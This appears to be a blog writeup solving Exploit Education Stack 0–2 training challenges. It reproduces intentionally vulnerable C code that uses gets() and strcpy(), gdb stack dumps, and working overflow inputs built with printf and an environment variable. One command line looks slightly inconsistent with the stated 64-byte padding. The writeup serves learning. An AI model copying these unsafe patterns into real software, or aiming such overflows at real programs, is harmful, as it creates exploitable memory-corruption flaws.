Date: 26 October 2022
This is part 1 of a writeup for some Exploit Education challenges I completed. In this part I will go over the Stack 0, 1 and 2 problems.
I thought it would be fun to complete these exercises, by doing them I was exposed to cool stuff like:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char *gets(char *);
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
locals.changeme = 0;
gets(locals.buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}
exit(0);
}
The aim of this challenge is to change the value of the changeme
variable inside the struct locals
.
In order to understand how this is done we must first understand how variables are organised in memory.
Normally structs are organised in the order they are declared, however this is entirely implementation-specific which means it depends on your system, compiler, enviroment etc.
Just to be sure we will disassemble the program and analyse the stack in gdb.
First I set the assembly syntax to intel which makes everything easier to read (in my opinion)
(gdb) set disassembly-flavor intel
Next I disassembled main() to see where I should set a breakpoint
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000401176 <+0>: endbr64
0x000000000040117a <+4>: push rbp
0x000000000040117b <+5>: mov rbp,rsp
0x000000000040117e <+8>: sub rsp,0x60
0x0000000000401182 <+12>: mov DWORD PTR [rbp-0x54],edi
0x0000000000401185 <+15>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000401189 <+19>: mov rax,QWORD PTR fs:0x28
0x0000000000401192 <+28>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401196 <+32>: xor eax,eax
0x0000000000401198 <+34>: mov DWORD PTR [rbp-0x10],0x0
0x000000000040119f <+41>: lea rax,[rbp-0x50]
0x00000000004011a3 <+45>: mov rdi,rax
0x00000000004011a6 <+48>: call 0x401070 <gets@plt>
0x00000000004011ab <+53>: mov eax,DWORD PTR [rbp-0x10]
0x00000000004011ae <+56>: test eax,eax
0x00000000004011b0 <+58>: je 0x4011c3 <main+77>
0x00000000004011b2 <+60>: lea rax,[rip+0xe4f] # 0x402008
0x00000000004011b9 <+67>: mov rdi,rax
0x00000000004011bc <+70>: call 0x401060 <puts@plt>
0x00000000004011c1 <+75>: jmp 0x4011d2 <main+92>
0x00000000004011c3 <+77>: lea rax,[rip+0xe76] # 0x402040
0x00000000004011ca <+84>: mov rdi,rax
0x00000000004011cd <+87>: call 0x401060 <puts@plt>
0x00000000004011d2 <+92>: mov edi,0x0
0x00000000004011d7 <+97>: call 0x401080 <exit@plt>
End of assembler dump.
I decided to set a breakpoint after the call to gets()
, this is because i can give the program some recognisable input such as multiple 'A's and then view where the buffer is positioned in memory.
(gdb) b *0x00000000004011ab
Breakpoint 1 at 0x4011ab
Now lets run the program and give it 64 'A's (64 because that is the size of buffer inside the struct)
(gdb) r
Starting program: /home/user/x
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x00000000004011ab in main ()
Now we have hit the breakpoint we set earlier, we should inspect memory
(gdb) x/100x $sp
0x7fffffffddf0: 0xffffdf68 0x00007fff 0xf7fe285c 0x00000001
0x7fffffffde00: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde10: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde30: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde40: 0x00000000 0x00000000 0x780e0a00 0xad371c85
One the lines showing values starting from addresses 0x7fffffffde00
to 0x7fffffffde30
we can see the hex value for the letter 'A' (41) displayed multiple times. This is our buffer and we can now see the input we gave it.
The next step is to find the changeme variable. If we look back at our code we can see that before the call to gets()
the variable changeme
was assigned a value of 0
.
locals.changeme = 0;
gets(locals.buffer);
If we now look back at our memory output we can see 0x00000000
at address 0x7fffffffde40
which is after buffer, this may be our variable. Lets try to change the input we give the program to 64 'A's with an additional nonzero value.
Nice, looks like it worked! we have successfully overwritten changeme
.
(gdb) r
Starting program: /home/user/x
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2
Breakpoint 1, 0x00000000004011ab in main ()
(gdb) c
Continuing.
Well done, the 'changeme' variable has been changed!
[Inferior 1 (process 33745) exited normally]
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
if (argc < 2) {
errx(1, "specify an argument, to be copied into the \"buffer\"");
}
locals.changeme = 0;
strcpy(locals.buffer, argv[1]);
if (locals.changeme == 0x496c5962) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
locals.changeme);
}
exit(0);
}
This challenge requires us to overwrite the changeme
variable in the struct locals
to the value 0x496c5962
. Looking at the code we can see that we can give the program input through command line arguments.
The first argument we provide to the program ( argv[1]
) is copied into the buffer named buffer
in the struct locals
using the strcpy()
function.
Let's begin to solve this challenge:
As always I like to set the assembly syntax to Intel since I find it easier to read.
(gdb) set disassembly-flavor intel
Next we can disassemble main()
to pinpoint a good line to set a breakpoint at so we can conduct further tests.
Since strcpy
copies our input into the buffer
it might be a good idea to break just after it is called and inspect memory.
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004011b6 <+0>: endbr64
0x00000000004011ba <+4>: push rbp
0x00000000004011bb <+5>: mov rbp,rsp
0x00000000004011be <+8>: sub rsp,0x60
0x00000000004011c2 <+12>: mov DWORD PTR [rbp-0x54],edi
0x00000000004011c5 <+15>: mov QWORD PTR [rbp-0x60],rsi
0x00000000004011c9 <+19>: mov rax,QWORD PTR fs:0x28
0x00000000004011d2 <+28>: mov QWORD PTR [rbp-0x8],rax
0x00000000004011d6 <+32>: xor eax,eax
0x00000000004011d8 <+34>: cmp DWORD PTR [rbp-0x54],0x1
0x00000000004011dc <+38>: jg 0x4011f7 <main+65>
0x00000000004011de <+40>: lea rax,[rip+0xe23] # 0x402008
0x00000000004011e5 <+47>: mov rsi,rax
0x00000000004011e8 <+50>: mov edi,0x1
0x00000000004011ed <+55>: mov eax,0x0
0x00000000004011f2 <+60>: call 0x4010a0 <errx@plt>
0x00000000004011f7 <+65>: mov DWORD PTR [rbp-0x10],0x0
0x00000000004011fe <+72>: mov rax,QWORD PTR [rbp-0x60]
0x0000000000401202 <+76>: add rax,0x8
0x0000000000401206 <+80>: mov rdx,QWORD PTR [rax]
0x0000000000401209 <+83>: lea rax,[rbp-0x50]
0x000000000040120d <+87>: mov rsi,rdx
0x0000000000401210 <+90>: mov rdi,rax
0x0000000000401213 <+93>: call 0x401080 <strcpy@plt>
0x0000000000401218 <+98>: mov eax,DWORD PTR [rbp-0x10]
0x000000000040121b <+101>: cmp eax,0x496c5962
0x0000000000401220 <+106>: jne 0x401233 <main+125>
0x0000000000401222 <+108>: lea rax,[rip+0xe17] # 0x402040
We have set a breakpoint after the call to strcpy()
(gdb) b *0x0000000000401218
Breakpoint 1 at 0x401218
Now let's run the program and give it 64 'A's (64 because that is the size of buffer
).
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/user/x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x0000000000401218 in main ()
Now we should inspect the stack to see how everything looks. From the output below we can see where our buffer
is in memory. Let's now try to overflow the buffer
and see what happens.
(gdb) x/100x $sp
0x7fffffffdda0: 0xffffdf18 0x00007fff 0xf7fe285c 0x00000002
0x7fffffffddb0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddc0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdde0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddf0: 0x00000000 0x00000000 0x87cd6e00 0x2cba9a0f
0x7fffffffde00: 0x00000002 0x00000000 0xf7da9d90 0x00007fff
0x7fffffffde10: 0x00000000 0x00000000 0x004011b6 0x00000000
0x7fffffffde20: 0xffffdf00 0x00000002 0xffffdf18 0x00007fff
0x7fffffffde30: 0x00000000 0x00000000 0x3f8882b8 0x00053a6b
0x7fffffffde40: 0xffffdf18 0x00007fff 0x004011b6 0x00000000
Let's give the program 64 'A's and 4 '1's
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1111
Starting program: /home/user/x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1111
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x0000000000401218 in main ()
Let's see how our memory looks like:
(gdb) x/100x $sp
0x7fffffffdda0: 0xffffdf18 0x00007fff 0xf7fe285c 0x00000002
0x7fffffffddb0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddc0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdde0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddf0: 0x31313131 0x00000000 0x6f85bd00 0x97d1f777
0x7fffffffde00: 0x00000002 0x00000000 0xf7da9d90 0x00007fff
We can see that below the buffer
, starting at address 0x7fffffffddf0
we have the values 0x31313131
which are hex values for '1'. Also the program gave us this output:
(gdb) c
Continuing.
Getting closer! changeme is currently 0x31313131, we want 0x496c5962
[Inferior 1 (process 35063) exited normally]
It looks like we have located where the changeme
variable is located in memory. Now we just need to replace the '1111' with 0x496c5962
.
However we cannot simply give the program 64 'A's + 0x496c5962
. This would not work due to one small thing: endianness
.
Endianness refers to the order of bytes in a system's memory. There are two main types of endianness and they are big endian and little endian. You can check what byte order your system uses using the lscpu
command on Linux.
user@user:~$ lscpu
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Address sizes: 48 bits physical, 48 bits virtual
Byte Order: Little Endian
Now that we have figured out the byte order of our system, we can begin to solve this problem by giving the program 64 'A's + 0x496c5962
in little endian order.
Using printf
I printed 64 'A's and the little endian representation of 0x496c5962
and gave the value to the program.
Nice, our work here is done.
user@user:~$ printf 'A%.0s' {1..64}; printf '\x62\x59\x6c\x49'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlIqasim@ubuntu:~$
user@user:~$ ./x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI
Well done, you have successfully set changeme to the correct value
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
char *ptr;
ptr = getenv("ExploitEducation");
if (ptr == NULL) {
errx(1, "please set the ExploitEducation environment variable");
}
locals.changeme = 0;
strcpy(locals.buffer, ptr);
if (locals.changeme == 0x0d0a090a) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
locals.changeme);
}
exit(0);
}
This challenge is similar to the previous challenges. In this one we have to change the value of changeme
.
The first step is to examine the code. We can see that the program uses getenv
and saves the return value in a character pointer called ptr
to then later check if getenv
failed. Let's run the program and see what we get.
user@user:~$ ./x
x: please set the ExploitEducation environment variable
As expected we got an error because there is no 'ExploitEducation' environment variable, so let's add one with the Linux export
command and assign it a random value.
user@user:~$ export ExploitEducation="AAAAAAAAAA"
Running the program again gives us this:
user@user:~$ ./x
Almost! changeme is currently 0x00000000, we want 0x0d0a090a
Looking at the code again we can see that strcpy
is used to copy the value of ptr
(our environment variable) into the buffer named buffer
. If we set the value of ExploitEducation
to something greater than the size of buffer
we could potentially overflow it and change the value of changeme
. Let's try that out:
user@user:~$ export ExploitEducation=$(printf 'A%.0s' {1..64}; printf '\x0a\x09\x0a\x0d')
user@user:~$ ./x
Well done, you have successfully set changeme to the correct value
Nice, we have done it!
These challenges have provided valuable insights into buffer overflow exploits and the importance of understanding memory management and software vulnerabilities. By completing Stack 0, 1, and 2, I have gained hands-on experience in binary exploitation, debugging, and leveraging common software bugs to manipulate program behavior.
In Part 2 of this writeup, I will tackle Stack 3, 4, and 5 challenges, further deepening my knowledge in binary exploitation and software security.